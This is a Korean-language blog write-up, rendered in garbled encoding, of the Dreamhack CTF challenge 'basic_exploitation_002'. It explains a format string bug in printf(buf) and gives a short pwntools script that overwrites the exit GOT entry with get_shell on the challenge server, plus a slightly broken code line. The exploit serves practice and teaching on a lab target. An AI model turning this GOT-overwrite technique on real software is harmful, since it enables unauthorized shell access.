Jastes 2022. 10. 30. 23:50


basic_exploitation_002

๋ฌธ์ œ ํ’€์ด

๋˜ x86..์ด๋„ค์š” ์ด๊ฑฐ ์ด์   ์ต์ˆ™ํ•ด์ง€๊ฒ ๋„ค ์ข‹๋‹ค
NX์™€ Partial RELRO.. ๊ทธ๋Ÿฌ๋‚˜ FSB๋กœ ํ’€์–ด์•ผํ•˜๋Š” ๋ฌธ์ œ๋‹ˆ๊นŒ C์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด

buf(0x80) ๋งŒํผ ํ• ๋‹น read()์—์„œ ๊ทธ๋งŒํผ ์ž…๋ ฅ๋ฐ›๊ธฐ์— BOF๋Š” ๋ฐœ์ƒ X
๊ทธ๋Ÿฌ๋‚˜ printf(buf)๋กœ FSB๋Š” ๋œ๋‹ค๋Š” ์ ๊ณผ get_shell() ํ•จ์ˆ˜๋ฅผ ์ด์šฉํ•˜๋ฉด ๋๋‚˜๋Š” ์ !

FSB : Format String Bug ๋กœ ๊ฐœ๋ฐœ์ž์˜ ์‹ค์ˆ˜๋กœ ๋น›์–ด์ง„ ๋ฒ„๊ทธ


Exploit ์„ค๊ณ„

FSB๋Š” %p %x %n  %hn %N$FSB ๋“ฑ์ด ํ•ต์‹ฌ์œผ๋กœ์จ
์Šคํƒ์€ ์Œ“์ด๊ธฐ ๋•Œ๋ฌธ์— ์•„๋งˆ ๋” ๋†’์€ ๋ณ€์ˆ˜์— ์กด์žฌํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์ฃ  ๊ทธ๋Ÿผ 10๋ณด๋‹ค ํฐ ๊ฐ’์„ ์ ๋‹นํžˆ ๋„ฃ๋Š”๋‹ค๋ฉด
์–ธ์  ๊ฐ„ name์˜ ๋ณ€์ˆ˜์— ๋‹ฟ๊ณ  name์— "/bin/sh"๋ฅผ ์ž…๋ ฅํ•˜์—ฌ ๊ทธ ๊ฐ’์„ ๋„ฃ๋Š”๋‹ค๋ฉด?

๊ทธ๋Ÿผ command์™€ name ์‚ฌ์ด์˜ ๊ฑฐ๋ฆฌ๋งŒ ๊ตฌํ•˜๋ฉด exploit code๊ฐ€ ์ž‘๋™๋˜๊ฒ ๋„ค์š”
๊ทธ๋Ÿผ ๋ฐ”๋กœ ์‹œ์ž‘ํ•ด๋ณผ๊นŒ์š”?


Exploit

์—ฌ๋Ÿฌ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์ด ์กด์žฌํ•˜๋ฉฐ ์—ฌ๊ธฐ์„  ์›์‹œ์ ์ธ ๋ฐฉ๋ฒ•์€ ์ œ๊ฐ€ ๊ทธ์ „์—๋„ ์‹คํŒจํ•œ ๊ฒฝํ—˜์ด..
์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ๋ณด์‹œ๋ฉด ์›์‹œ์ ์ธ ๋ฐฉ์‹์œผ๋กœ ํ•  ์ˆ˜ ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

 

HackerSchool_level11

keyword : strcpy bof keyword : printf Format String keyword : NOP level11 - Write Up(NOP) ํžŒํŠธ๊ฐ€ ์ฝ”๋“œ๋„ค์š”... ์œ„ ์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด argv๋ผ๋Š” main์ธ์ž์˜ ๊ฐ’์„ ๋ฐ›์•„์„œ ์ถœ๋ ฅํ•˜๋„ค์š” setreuid๊ฐ€ ์žˆ๊ธฐ์— level12๋กœ..

dystopia050119.tistory.com

์ €๋Š” pwn์—์„œ ์ œ๊ณตํ•˜๋Š” fsb๋ฅผ ์‰ฝ๊ฒŒํ•˜๋Š” fmtstr_payload๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ ์ž…๋‹ˆ๋‹ค.

 

pwnlib.fmtstr — Format string bug exploitation tools — pwntools 4.8.0 documentation

A tuple (score, value, mask) where score equals the number of matching bytes between the returned value and target.

docs.pwntools.com

์œ„์— ๋งํฌ์—์„œ ์‚ฌ์šฉ๋ฐฉ๋ฒ•์„ ์•Œ๋ ค์ค๋‹ˆ๋‹ค

fmtstr_payload(offset, writes)

* writes = {addr:value, addr2:value2}

์ด๋Ÿฐ ๋Š๋‚Œ์ž…๋‹ˆ๋‹ค

์„ธ๋ถ€์ ์œผ๋กœ๋Š” ์ด๋Ÿฐ์‹์œผ๋กœ ์žˆ๋Š”๋ฐ.. ๋‚˜์ค‘์— ์‚ฌ์šฉํ•ด๋ณด๊ฒ ์ฃ ?

๊ทธ๋Ÿผ ์ €ํฌ๋Š” bof๊ฐ€ ๋ฐœ์ƒ์ด ๋ถˆ๊ฐ€ํ•˜๊ธฐ์— main์ฝ”๋“œ๊ฐ€ ๋๊นŒ์ง€ ์‹คํ–‰๋˜๋ฉด ๋งˆ๋ฌด๋ฆฌ๋˜๋Š”
exit()์—์„œ get_shell()๊นŒ์ง€์˜ ๊ธธ์ด๋ฅผ ์•Œ๋ฉด ๋˜๊ฒ ๊ตฐ์š”

1
2
3
4
5
6
7
8
9
10
from pwn import *
 
= remote('host3.dreamhack.games'22371)
elf = ELF('./basic_exploitation_002')
 
payload = fmtstr_payload(1, {elf.got['exit'] : elf.symbols['get_shell']})
p.send(payload)
 
p.interactive()
 
cs

์ฝ”๋“œ.. ์„ค๋ช…์ด๋ž„๊ฒŒ ์—†๋„ค์š”.. fmtstr_payload์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณด์•˜๋‹ค?
pwntools๊ฐ€ ์ •๋ง ์ข‹๊ตฌ๋‚˜.. ๋ผ๊ณ  ๋งˆ๋ฌด๋ฆฌ ํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

 


์ฐธ๊ณ  ์ž๋ฃŒ

์ฐธ๊ณ  ์ด๋ฏธ์ง€